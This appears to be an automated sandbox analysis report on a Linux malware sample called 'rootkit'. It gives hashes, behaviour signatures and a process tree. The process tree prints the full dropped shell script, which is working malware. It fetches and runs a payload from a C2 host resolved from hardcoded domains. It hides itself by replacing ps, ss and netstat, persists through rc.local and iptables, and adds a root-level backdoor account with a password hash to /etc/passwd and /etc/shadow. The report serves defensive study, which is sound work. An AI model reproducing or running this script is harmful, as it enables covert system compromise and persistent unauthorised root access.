Analysis
-
max time kernel
149s -
max time network
146s -
platform
ubuntu-24.04_amd64 -
resource
ubuntu2404-amd64-20240523-en -
resource tags
-
submitted
02-01-2025 21:33
General
-
Target
rootkit
-
Size
357KB
-
MD5
80b21dcc410fcd97098e8b804ba1dd27
-
SHA1
8eab144db8af9bfb3c633b373489c6799f2ad5cf
-
SHA256
548d1e891b2837e28c6e495fd1e5788ab650d169c53ade1f0cadf005d8657316
-
SHA512
7f8a5335a0b37bf760825c00fb0b685f85bebed212533c725748e3cafd8f4e79fa09e1b152bb7612ee1091bed49f35aa728a5f42e775bc80788535c16e34a60d
-
SSDEEP
6144:4LZVne1+4AtZTefDUuipumMP+tjwPn2OFfRA/7pmuxEkV3ufBrCkRNcl4/YGA/u:4dVne09J8UbpumMP+tjwPn22pAjN3ufv
Score
8/10
Malware Config
Signatures
-
Modifies password files for system users/ groups 1 TTPs 2 IoCs
Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.
-
File and Directory Permissions Modification 1 TTPs 45 IoCs
Adversaries may modify file or directory permissions to evade defenses.
-
Executes dropped EXE 64 IoCs
-
OS Credential Dumping 1 TTPs 4 IoCs
Adversaries may attempt to dump credentials to use it in password cracking.
-
Unexpected DNS network traffic destination 28 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
-
Writes DNS configuration 1 TTPs 4 IoCs
Writes data to DNS resolver config file.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
-
Write file to user bin folder 13 IoCs
-
Writes file to system bin folder 8 IoCs
-
Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
-
Reads CPU attributes 1 TTPs 20 IoCs
-
Enumerates kernel/hardware configuration 1 TTPs 9 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
-
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
-
System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
Processes
-
/tmp/rootkit/tmp/rootkit1⤵
-
/bin/sh/tmp/rootkit -c "exec '/tmp/rootkit' \"\$@\"" /tmp/rootkit1⤵
-
/tmp/rootkit/tmp/rootkit1⤵
-
/bin/sh/tmp/rootkit -c "#!/bin/sh path=`pwd` exit0=\"exit 0\" ips=\"/usr/bin/ips\" iss=\"/usr/bin/iss\" Net=\"/usr/bin/nets\" Get=\"/usr/bin/dget\" Lok=\"/usr/bin/lockr\" deny=\"/etc/deny.bak\" allow=\"/etc/allow.bak\" Config=\"/etc/long.conf\" filebak=\"/usr/bin/longbak\" issbak=\"/usr/bin/dpkgd/ss\" ipsbak=\"/usr/bin/dpkgd/ps\" Netbak=\"/usr/bin/dpkgd/netstat\" Runkillallconnect() { killpid=`nets -anept 2>/dev/null|grep \"\$Address:9506\"|cut -d / -f 1|awk '{print \$9}'` kill \$killpid 2>/dev/null;kill -3 \$killpid 2>/dev/null;kill -9 \$killpid 2>/dev/null killall \$tempfile;pkill \$tempfile;lockr -i /usr/bin/;lockr -i \$filetemp;rm -f \$filetemp if [ -z \"`cat \$Config|grep \$tempfile`\" ]; then lockr -i /etc/init.d/;lockr -i \$Config echo \$filename \$tempbash \$Address > \$Config;lockr +i \$Config >/dev/null 2>&1 else lockr -i \$Config;sed -i \"s|\$tempfile|\$filename|\" \$Config;lockr +i \$Config >/dev/null 2>&1 fi if [ -z \"`cat /bin/ps|grep \$tempfile`\" ]; then lockr -i /bin/;lockr -i /bin/ps;echo '#!/bin/sh' > /bin/ps;echo 'for arg in \"\$*\";do' >> /bin/ps echo 'ips \$arg|grep -v \"'\$tempbash'\"|grep -v \"'\$filename'\"|grep -v \"ips\"|grep -v \"grep\"' >> /bin/ps echo 'done;exit' >> /bin/ps;chmod 777 /bin/ps;lockr +i /bin/ps >/dev/null 2>&1 else lockr -i /bin/ps;sed -i \"s|\$tempfile|\$filename|\" /bin/ps;lockr +i /bin/ps >/dev/null 2>&1 fi } # ------------------------------------------------------------- if [ ! -f \"\$Lok\" ];then lockr -i /usr/bin/ if [ ! -f /usr/bin/wget ];then if [ -f /usr/bin/yum ];then yum -y install e2fsprogs;fi if [ -f /usr/bin/apt-get ];then apt-get -y install e2fsprogs;fi fi cp -f /usr/bin/chattr /usr/bin/lockr cp -f /usr/bin/chattr /usr/bin/.locks cp -f /usr/bin/.locks /usr/bin/lockr chmod 777 /usr/bin/lockr chmod 777 /usr/bin/.locks lockr +i /usr/bin/lockr >/dev/null 2>&1 lockr +i /usr/bin/.locks >/dev/null 2>&1 else .locks -i /usr/bin/lockr;chmod 777 /usr/bin/lockr lockr +i /usr/bin/lockr >/dev/null 2>&1 fi if [ ! -f \"\$Get\" ];then lockr -i /usr/bin/ if [ ! -f /usr/bin/wget ];then if [ -f /usr/bin/yum ];then yum -y install wget;fi if [ -f /usr/bin/apt-get ];then apt-get -y install wget;fi fi cp -f /usr/bin/wget /usr/bin/dget cp -f /usr/bin/wget /usr/bin/.bget cp -f /usr/bin/.bget /usr/bin/dget chmod 777 /usr/bin/dget lockr +i /usr/bin/dget >/dev/null 2>&1 lockr +i /usr/bin/.bget >/dev/null 2>&1 else lockr -i /usr/bin/dget;chmod 777 /usr/bin/dget lockr +i /usr/bin/dget >/dev/null 2>&1 fi if [ -f /usr/bin/pkill ];then lockr -i /usr/bin/pkill;chmod 777 /usr/bin/pkill lockr +i /usr/bin/pkill >/dev/null 2>&1 fi if [ -f /usr/bin/nohup ];then lockr -i /usr/bin/nohup;chmod 777 /usr/bin/nohup lockr +i /usr/bin/nohup >/dev/null 2>&1 fi if [ -f /usr/bin/killall ];then lockr -i /usr/bin/killall;chmod 777 /usr/bin/killall lockr +i /usr/bin/killall >/dev/null 2>&1 fi if [ -f /usr/bin/nslookup ];then lockr -i /usr/bin/nslookup;chmod 777 /usr/bin/nslookup lockr +i /usr/bin/nslookup >/dev/null 2>&1 fi if [ -f /etc/init.d/Me8ing.conf ];then Runkillallconnect rm -f \$0;exit fi # ------------------------------------------------------------- if [ ! -f \"\$Config\" ];then intranet=`ifconfig|grep 'inet '|grep -v '127.0'|xargs|awk -F '[ :]' '{print \$3}'|grep '192.168'` if [ \$intranet ];then exit;fi lockr -i /usr/bin/;lockr -i /etc/init.d/ echo \"byicnanker 2228668564\" > \$Config tempfile=`cat \$Config | awk '{print \$1}'` filetemp=\"/usr/bin/\$tempfile\" #������·�� filename=`date +%s%N | md5sum | head -c 10` filepath=\"/usr/bin/\$filename\" #������·�� tempbash=`cat \$Config | awk '{print \$2}'` bashtemp=\"/usr/bin/\$tempbash\" #�ֽű�·�� bashname=`date +%s%N | md5sum | head -c 10` bashpath=\"/usr/bin/\$bashname\" #�½ű�·�� else tempfile=`cat \$Config | awk '{print \$1}'` filetemp=\"/usr/bin/\$tempfile\" #������·�� filename=`date +%s%N | md5sum | head -c 10` filepath=\"/usr/bin/\$filename\" #������·�� tempbash=`cat \$Config | awk '{print \$2}'` bashtemp=\"/usr/bin/\$tempbash\" #�ֽű�·�� bashname=`date +%s%N | md5sum | head -c 10` bashpath=\"/usr/bin/\$bashname\" #�½ű�·�� if [ \$0 != \"\$bashtemp\" ];then lockr -i /usr/bin/;lockr -i /bin/ KA=`cat \$Config | awk '{print \$1}'` KPidA=`ips -ef|grep \$KA|awk '{print \$2}'` lockr -i /usr/bin/\$KA;rm -f /usr/bin/\$KA kill \$KPidA 2>/dev/null;kill -9 \$KPidA 2>/dev/null lockr -i \$filetemp;rm -f \$filetemp;lockr -i \$filebak;rm -f \$filebak killall .sshd;pkill .sshd;lockr -i /usr/bin/.sshd;rm -f /usr/bin/.sshd killall \$KA;pkill \$KA;killall \$KA;pkill \$KA;sleep 0.1 K1=`cat \$Config | awk '{print \$2}'` KPid1=`ips -ef|grep \$K1|awk '{print \$2}'` kill \$KPid1 2>/dev/null;kill -9 \$KPid1 2>/dev/null lockr -i /usr/bin/\$K1;rm -f /usr/bin/\$K1 killall \$K1;pkill \$K1;killall \$K1;pkill \$K1;sleep 0.4 K2=`cat \$Config | awk '{print \$2}'` KPid2=`ips -ef|grep \$K2|awk '{print \$2}'` kill \$KPid2 2>/dev/null;kill -9 \$KPid2 2>/dev/null lockr -i /usr/bin/\$K2;rm -f /usr/bin/\$K2 killall \$K2;pkill \$K2;killall \$K2;pkill \$K2;sleep 1.2 K3=`cat \$Config | awk '{print \$2}'` KPid3=`ips -ef|grep \$K3|awk '{print \$2}'` kill \$KPid3 2>/dev/null;kill -9 \$KPid3 2>/dev/null lockr -i /usr/bin/\$K3;rm -f /usr/bin/\$K3 killall \$K3;pkill \$K3;killall \$K3;pkill \$K3;sleep 0.5 K4=`cat \$Config | awk '{print \$2}'` KPid4=`ips -ef|grep \$K4|awk '{print \$2}'` kill \$KPid4 2>/dev/null;kill -9 \$KPid4 2>/dev/null lockr -i /usr/bin/\$K4;rm -f /usr/bin/\$K4 killall \$K4;pkill \$K4;killall \$K4;pkill \$K4;sleep 1.3 K5=`cat \$Config | awk '{print \$2}'` KPid5=`ips -ef|grep \$K5|awk '{print \$2}'` kill \$KPid5 2>/dev/null;kill -9 \$KPid5 2>/dev/null lockr -i /usr/bin/\$K5;rm -f /usr/bin/\$K5 killall \$K5;pkill \$K5;killall \$K5;pkill \$K5;sleep 0.6 K6=`cat \$Config | awk '{print \$2}'` KPid6=`ips -ef|grep \$K6|awk '{print \$2}'` kill \$KPid6 2>/dev/null;kill -9 \$KPid6 2>/dev/null lockr -i /usr/bin/\$K6;rm -f /usr/bin/\$K6 killall \$K6;pkill \$K6;killall \$K6;pkill \$K6;sleep 1.4 K7=`cat \$Config | awk '{print \$2}'` KPid7=`ips -ef|grep \$K7|awk '{print \$2}'` kill \$KPid7 2>/dev/null;kill -9 \$KPid7 2>/dev/null lockr -i /usr/bin/\$K7;rm -f /usr/bin/\$K7 killall \$K7;pkill \$K7;killall \$K7;pkill \$K7;sleep 0.1 lockr -i \$Config;sed -i \"s|\$tempbash|\$bashname|\" \$Config lockr -i /bin/ps;sed -i \"s|\$tempbash|\$bashname|\" /bin/ps fi fi # ------------------------------------------------------------- if [ ! -f /usr/bin/nslookup ];then if [ -f /usr/bin/apt-get ];then apt-get -y install dnsutils;fi if [ -f /usr/bin/yum ];then yum -y install bind-utils;fi fi ResolveIP=`nslookup top.t7ux.com|grep \"Address: \"|awk '{print \$2}'` if [ -z \"\$ResolveIP\" ];then lockr -i /etc/;lockr -i /etc/resolv.conf echo 'nameserver 114.114.114.114' > /etc/resolv.conf echo 'nameserver 8.8.8.8' >> /etc/resolv.conf echo 'nameserver 8.8.4.4' >> /etc/resolv.conf lockr +i /etc/resolv.conf >/dev/null 2>&1 service network restart;sleep 1 Address=`nslookup top.t7ux.com|grep \"Address: \"|awk '{print \$2}'` else Address=\"\$ResolveIP\" fi # ------------------------------------------------------------- if [ -f /bin/ss ];then if [ ! -f \"\$iss\" ];then if [ ! -f \"\$issbak\" ];then lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/ cp -f /bin/ss \$issbak cp -f /bin/ss \$iss else cp -f \$issbak \$iss fi chmod 777 \$iss;chmod 777 \$issbak lockr +i \$issbak >/dev/null 2>&1 lockr +i \$iss >/dev/null 2>&1 else if [ ! -f \"\$issbak\" ];then lockr -i /usr/bin/;cp -f \$iss \$issbak lockr +i \$issbak >/dev/null 2>&1 fi if [ -z \"`cat /bin/ss | grep \$Address`\" ]; then lockr -i /bin/;lockr -i /bin/ss echo '#!/bin/sh' > /bin/ss echo 'iss|grep -v \"'\$Address'\"' >> /bin/ss echo 'exit' >> /bin/ss chmod 777 /bin/ss;lockr +i /bin/ss >/dev/null 2>&1 fi fi fi if [ -f /usr/sbin/ss ];then if [ ! -f \"\$iss\" ];then if [ ! -f \"\$issbak\" ];then lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/ cp -f /usr/sbin/ss \$issbak cp -f /usr/sbin/ss \$iss else cp -f \$issbak \$iss fi chmod 777 \$iss;chmod 777 \$issbak lockr +i \$issbak >/dev/null 2>&1 lockr +i \$iss >/dev/null 2>&1 else if [ ! -f \"\$issbak\" ];then lockr -i /usr/bin/;cp -f \$iss \$issbak lockr +i \$issbak >/dev/null 2>&1 fi if [ -z \"`cat /usr/sbin/ss | grep \$Address`\" ]; then lockr -i /usr/sbin/;lockr -i /usr/sbin/ss echo '#!/bin/sh' > /usr/sbin/ss echo 'iss|grep -v \"'\$Address'\"' >> /usr/sbin/ss echo 'exit' >> /usr/sbin/ss chmod 777 /usr/sbin/ss;lockr +i /usr/sbin/ss >/dev/null 2>&1 fi fi fi if [ -f /bin/netstat ];then if [ ! -f \"\$Net\" ];then if [ ! -f \"\$Netbak\" ];then lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/ cp -f /bin/netstat \$Netbak cp -f /bin/netstat \$Net else cp -f \$Netbak \$Net fi chmod 777 \$Net;chmod 777 \$Netbak lockr +i \$Netbak >/dev/null 2>&1 lockr +i \$Net >/dev/null 2>&1 else if [ ! -f \"\$Netbak\" ];then lockr -i /usr/bin/;cp -f \$Net \$Netbak lockr +i \$Netbak >/dev/null 2>&1 fi if [ -z \"`cat /bin/netstat | grep \$Address`\" ]; then lockr -i /bin/;lockr -i /bin/netstat echo '#!/bin/sh' > /bin/netstat echo 'for arg in \"\$*\";do' >> /bin/netstat echo 'nets \$arg | grep -v \"'\$Address'\"' >> /bin/netstat echo 'done;exit' >> /bin/netstat chmod 777 /bin/netstat;lockr +i /bin/netstat >/dev/null 2>&1 fi fi fi if [ -f /bin/ps ];then if [ ! -f \"\$ips\" ];then if [ ! -f \"\$ipsbak\" ];then lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/ cp -f /bin/ps \$ipsbak cp -f /bin/ps \$ips else cp -f \$ipsbak \$ips fi chmod 777 \$ips;chmod 777 \$ipsbak lockr +i \$ipsbak >/dev/null 2>&1 lockr +i \$ips >/dev/null 2>&1 else if [ ! -f \"\$ipsbak\" ];then lockr -i /usr/bin/;cp -f \$ips \$ipsbak lockr +i \$ipsbak >/dev/null 2>&1 fi if [ -z \"`cat /bin/ps | grep '#!/bin/sh'`\" ]; then lockr -i /bin/;lockr -i /bin/ps echo '#!/bin/sh' > /bin/ps;echo 'for arg in \"\$*\";do' >> /bin/ps echo 'ips \$arg | grep -v \"'\$tempbash'\" | grep -v \"'\$tempfile'\" | grep -v \"ips\" | grep -v \"grep\"' >> /bin/ps echo 'done;exit' >> /bin/ps;chmod 777 /bin/ps;lockr +i /bin/ps >/dev/null 2>&1 fi fi fi if [ ! -f \"\$deny\" ];then lockr -i /etc/;cp -f /etc/hosts.deny \$deny lockr +i \$deny >/dev/null 2>&1 fi if [ ! -f \"\$allow\" ];then lockr -i /etc/;cp -f /etc/hosts.allow \$allow lockr +i \$allow >/dev/null 2>&1 fi # by icnanker ----------------------------------------------- iptable=`iptables -L INPUT | grep \"\$Address\" | grep 'ACCEPT'` if [ -z \"\$iptable\" ];then iptables -I INPUT -s \$Address -j ACCEPT else iptables -D INPUT -s \$Address -j DROP fi process=`ips -ef | grep \"\$tempfile\" | grep -v \"grep\" | wc -l` if [ \$process != 1 ];then if [ ! -f \"\$filebak\" ];then lockr -i /usr/bin/;lockr -i /usr/bin/Drkv;rm -f /usr/bin/Drkv cd /usr/bin/;dget http://\$Address:6513/Drkv cd \$path;mv -f /usr/bin/Drkv \$filepath else cp -f \$filebak \$filepath fi Runkillallconnect chmod 777 \$filepath nohup \$filepath >/dev/null 2>&1 & fi if [ ! -f \"\$filebak\" ];then cp -f \$filepath \$filebak;chmod 777 \$filebak lockr +i \$filebak >/dev/null 2>&1 fi # by icnanker ----------------------------------------------- Repeatstart=`cat /etc/rc.local | grep 'start'| wc -l` if [ \$Repeatstart != 1 ];then lockr -i /etc/rc.local;sed -i '/start/d' /etc/rc.local fi if [ -z \"`cat /etc/rc.local | grep \"\$bashtemp\"`\" ]; then if [ -z \"`cat /etc/rc.local | grep \"\$exit0\"`\" ]; then lockr -i /etc/;lockr -i /etc/rc.local echo \"\$bashpath start\" >> /etc/rc.local else lockr -i /etc/;lockr -i /etc/rc.local sed -i \"s|exit 0|\$bashpath start|\" /etc/rc.local echo \"exit 0\">>/etc/rc.local fi fi # by icnanker ----------------------------------------------- if [ ! -f /tmp/bash.log ];then UpdateIP=`nslookup sh.7ex.me|grep \"Address: \"|awk '{print \$2}'` if [ ! -z \"\$UpdateIP\" ];then lockr -i /tmp/;lockr -i /tmp/bash.log;rm -f /tmp/bash.log cd /tmp/;dget http://\$UpdateIP:5155/update.log cd \$path;mv -f /tmp/update.log /tmp/bash.log fi fi if [ -z \"`cat /etc/passwd|grep \"icnanker\"`\" ]; then lockr -i /etc/;lockr -i /etc/passwd #icnanker echo 'icnanker:x:0:1:icnanker:/root:/bin/bash' >> /etc/passwd fi if [ -z \"`cat /etc/shadow|grep \"icnanker\"`\" ]; then lockr -i /etc/;lockr -i /etc/shadow #ddos@nanker echo 'icnanker:\$6\$14nPldFS\$xcNbGMouKo..dH8idyM6D0RIpXVnVm.5B.qORnV6qqnW4V.Ru3IGGyhiNzKAWRee7hJtCXW8vhApM1bzAm54n.:16570:0:99999:7:::' >> /etc/shadow fi # by icnanker ----------------------------------------------- killall .sshd;pkill .sshd;lockr -i /usr/bin/.sshd;rm -f /usr/bin/.sshd lockr -i /usr/bin/;lockr -i /usr/bin/wget;rm -f /usr/bin/wget;lockr -i /usr/bin/chattr;rm -f /usr/bin/chattr lockr -i /etc/;lockr -i /etc/hosts.deny;cp -f \$deny /etc/hosts.deny;lockr +i /etc/hosts.deny >/dev/null 2>&1 lockr -i /etc/;lockr -i /etc/hosts.allow;cp -f \$allow /etc/hosts.allow;lockr +i /etc/hosts.allow >/dev/null 2>&1 lockr -i /etc/init.d/;lockr -i \$Config;sed -i \"s|\$tempbash|\$bashname|\" \$Config;lockr +i \$Config >/dev/null 2>&1 sleep 1;lockr -i /usr/bin/;cp -f \$0 \$bashpath;chmod 777 \$bashpath;nohup \$bashpath >/dev/null 2>&1 & lockr -i /bin/;lockr -i /bin/ps;sed -i \"s|\$tempbash|\$bashname|\" /bin/ps;lockr +i /bin/ps >/dev/null 2>&1 lockr -i /etc/;lockr -i /etc/rc.local;sed -i \"s|\$bashtemp start|\$bashpath start|\" /etc/rc.local # by icnanker ----------------------------------------------- lockr -i \$0 rm -f \$0 exit" /tmp/rootkit1⤵
- Modifies password files for system users/ groups
- File and Directory Permissions Modification
- Writes DNS configuration
- Modifies rc script
- Writes file to system bin folder
-
/usr/bin/cpcp -f /usr/bin/chattr /usr/bin/lockr2⤵
- Write file to user bin folder
-
-
/usr/bin/cpcp -f /usr/bin/chattr /usr/bin/.locks2⤵
- Write file to user bin folder
-
-
/usr/bin/cpcp -f /usr/bin/.locks /usr/bin/lockr2⤵
- Write file to user bin folder
-
-
/usr/bin/chmodchmod 777 /usr/bin/lockr2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/chmodchmod 777 /usr/bin/.locks2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /usr/bin/lockr2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr +i /usr/bin/.locks2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr -i /usr/bin/2⤵
- Executes dropped EXE
-
-
/usr/bin/cpcp -f /usr/bin/wget /usr/bin/dget2⤵
- Write file to user bin folder
-
-
/usr/bin/cpcp -f /usr/bin/wget /usr/bin/.bget2⤵
- Write file to user bin folder
-
-
/usr/bin/cpcp -f /usr/bin/.bget /usr/bin/dget2⤵
- Write file to user bin folder
-
-
/usr/bin/chmodchmod 777 /usr/bin/dget2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /usr/bin/dget2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr +i /usr/bin/.bget2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr -i /usr/bin/pkill2⤵
- Executes dropped EXE
-
-
/usr/bin/chmodchmod 777 /usr/bin/pkill2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /usr/bin/pkill2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr -i /usr/bin/nohup2⤵
- Executes dropped EXE
-
-
/usr/bin/chmodchmod 777 /usr/bin/nohup2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /usr/bin/nohup2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr -i /usr/bin/killall2⤵
- Executes dropped EXE
-
-
/usr/bin/chmodchmod 777 /usr/bin/killall2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /usr/bin/killall2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr -i /usr/bin/nslookup2⤵
- Executes dropped EXE
-
-
/usr/bin/chmodchmod 777 /usr/bin/nslookup2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /usr/bin/nslookup2⤵
- Executes dropped EXE
-
-
/usr/bin/grepgrep "inet "2⤵
-
-
/usr/bin/grepgrep -v 127.02⤵
-
-
/usr/bin/xargsxargs2⤵
-
/usr/local/sbin/echoecho3⤵
-
-
/usr/local/bin/echoecho3⤵
-
-
/usr/sbin/echoecho3⤵
-
-
/usr/bin/echoecho3⤵
-
-
-
/usr/bin/awkawk -F "[ :]" "{print \$3}"2⤵
-
-
/usr/bin/grepgrep 192.1682⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr -i /etc/init.d/2⤵
- Executes dropped EXE
-
-
/usr/bin/catcat /etc/long.conf2⤵
-
-
/usr/bin/awkawk "{print \$1}"2⤵
-
-
/usr/bin/datedate "+%s%N"2⤵
-
-
/usr/bin/md5summd5sum2⤵
-
-
/usr/bin/headhead -c 102⤵
-
-
/usr/bin/catcat /etc/long.conf2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/datedate "+%s%N"2⤵
-
-
/usr/bin/md5summd5sum2⤵
-
-
/usr/bin/headhead -c 102⤵
-
-
/usr/bin/nslookupnslookup top.t7ux.com2⤵
- Reads CPU attributes
-
-
/usr/bin/grepgrep "Address: "2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/lockrlockr -i /etc/2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr -i /etc/resolv.conf2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr +i /etc/resolv.conf2⤵
- Executes dropped EXE
-
-
/usr/sbin/serviceservice network restart2⤵
-
/usr/bin/basenamebasename /usr/sbin/service3⤵
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵
-
-
-
/usr/local/sbin/systemctlsystemctl restart network.service2⤵
-
-
/usr/local/bin/systemctlsystemctl restart network.service2⤵
-
-
/usr/sbin/systemctlsystemctl restart network.service2⤵
-
-
/usr/bin/systemctlsystemctl restart network.service2⤵
-
-
/usr/bin/sleepsleep 12⤵
-
-
/usr/bin/nslookupnslookup top.t7ux.com2⤵
- Reads CPU attributes
-
-
/usr/bin/grepgrep "Address: "2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/2⤵
- Executes dropped EXE
-
-
/usr/bin/mkdirmkdir /usr/bin/dpkgd/2⤵
-
-
/usr/bin/cpcp -f /bin/ss /usr/bin/dpkgd/ss2⤵
- Write file to user bin folder
-
-
/usr/bin/cpcp -f /bin/ss /usr/bin/iss2⤵
- Write file to user bin folder
-
-
/usr/bin/chmodchmod 777 /usr/bin/iss2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/chmodchmod 777 /usr/bin/dpkgd/ss2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /usr/bin/dpkgd/ss2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr +i /usr/bin/iss2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr -i /usr/bin/2⤵
- Executes dropped EXE
-
-
/usr/bin/mkdirmkdir /usr/bin/dpkgd/2⤵
-
-
/usr/bin/cpcp -f /bin/ps /usr/bin/dpkgd/ps2⤵
- Write file to user bin folder
-
-
/usr/bin/cpcp -f /bin/ps /usr/bin/ips2⤵
- Write file to user bin folder
- System Network Configuration Discovery
-
-
/usr/bin/chmodchmod 777 /usr/bin/ips2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/chmodchmod 777 /usr/bin/dpkgd/ps2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /usr/bin/dpkgd/ps2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr +i /usr/bin/ips2⤵
- Executes dropped EXE
- System Network Configuration Discovery
-
-
/usr/bin/lockrlockr -i /etc/2⤵
- Executes dropped EXE
-
-
/usr/bin/cpcp -f /etc/hosts.deny /etc/deny.bak2⤵
-
-
/usr/bin/lockrlockr +i /etc/deny.bak2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr -i /etc/2⤵
- Executes dropped EXE
-
-
/usr/bin/cpcp -f /etc/hosts.allow /etc/allow.bak2⤵
-
-
/usr/bin/lockrlockr +i /etc/allow.bak2⤵
- Executes dropped EXE
-
-
/usr/bin/grepgrep2⤵
-
-
/usr/bin/grepgrep ACCEPT2⤵
-
-
/usr/bin/ipsips -ef2⤵
- Executes dropped EXE
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/grepgrep byicnanker2⤵
-
-
/usr/bin/grepgrep -v grep2⤵
-
-
/usr/bin/wcwc -l2⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr -i /usr/bin/Drkv2⤵
- Executes dropped EXE
-
-
/usr/bin/rmrm -f /usr/bin/Drkv2⤵
-
-
/usr/bin/dgetdget http://:6513/Drkv2⤵
- Executes dropped EXE
-
-
/usr/bin/mvmv -f /usr/bin/Drkv /usr/bin/b293c491472⤵
-
-
/usr/bin/grepgrep :95062⤵
-
-
/usr/bin/cutcut -d / -f 12⤵
-
-
/usr/bin/awkawk "{print \$9}"2⤵
-
-
/usr/bin/killallkillall byicnanker2⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill byicnanker2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/usr/bin/lockrlockr -i /usr/bin/2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr -i /usr/bin/byicnanker2⤵
- Executes dropped EXE
-
-
/usr/bin/rmrm -f /usr/bin/byicnanker2⤵
-
-
/usr/bin/catcat /etc/long.conf2⤵
-
-
/usr/bin/grepgrep byicnanker2⤵
-
-
/usr/bin/lockrlockr -i /etc/long.conf2⤵
- Executes dropped EXE
-
-
/usr/bin/sedsed -i "s|byicnanker|b293c49147|" /etc/long.conf2⤵
-
-
/usr/bin/lockrlockr +i /etc/long.conf2⤵
- Executes dropped EXE
-
-
/usr/bin/catcat /bin/ps2⤵
-
-
/usr/bin/grepgrep byicnanker2⤵
-
-
/usr/bin/lockrlockr -i /bin/2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr -i /bin/ps2⤵
- Executes dropped EXE
-
-
/usr/bin/chmodchmod 777 /bin/ps2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /bin/ps2⤵
- Executes dropped EXE
-
-
/usr/bin/chmodchmod 777 /usr/bin/b293c491472⤵
- File and Directory Permissions Modification
-
-
/usr/bin/cpcp -f /usr/bin/b293c49147 /usr/bin/longbak2⤵
-
-
/usr/bin/nohupnohup /usr/bin/b293c491472⤵
-
-
/usr/bin/chmodchmod 777 /usr/bin/longbak2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/b293c49147/usr/bin/b293c491472⤵
-
-
/usr/bin/lockrlockr +i /usr/bin/longbak2⤵
- Executes dropped EXE
-
-
/usr/bin/catcat /etc/rc.local2⤵
-
-
/usr/bin/grepgrep start2⤵
-
-
/usr/bin/wcwc -l2⤵
-
-
/usr/bin/lockrlockr -i /etc/rc.local2⤵
- Executes dropped EXE
-
-
/usr/bin/sedsed -i /start/d /etc/rc.local2⤵
-
-
/usr/bin/catcat /etc/rc.local2⤵
-
-
/usr/bin/grepgrep /usr/bin/22286685642⤵
-
-
/usr/bin/catcat /etc/rc.local2⤵
-
-
/usr/bin/grepgrep "exit 0"2⤵
-
-
/usr/bin/lockrlockr -i /etc/2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr -i /etc/rc.local2⤵
- Executes dropped EXE
-
-
/usr/bin/nslookupnslookup sh.7ex.me2⤵
- Reads CPU attributes
-
-
/usr/bin/grepgrep "Address: "2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/catcat /etc/passwd2⤵
-
-
/usr/bin/grepgrep icnanker2⤵
-
-
/usr/bin/lockrlockr -i /etc/2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr -i /etc/passwd2⤵
- Executes dropped EXE
-
-
/usr/bin/catcat /etc/shadow2⤵
- OS Credential Dumping
-
-
/usr/bin/grepgrep icnanker2⤵
-
-
/usr/bin/lockrlockr -i /etc/2⤵
- Executes dropped EXE
-
-
/usr/bin/lockrlockr -i /etc/shadow2⤵
- Executes dropped EXE
- OS Credential Dumping
-
-
/usr/bin/killallkillall .sshd2⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill .sshd2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/usr/bin/lockrlockr -i /usr/bin/.sshd2⤵
- Executes dropped EXE
-
-
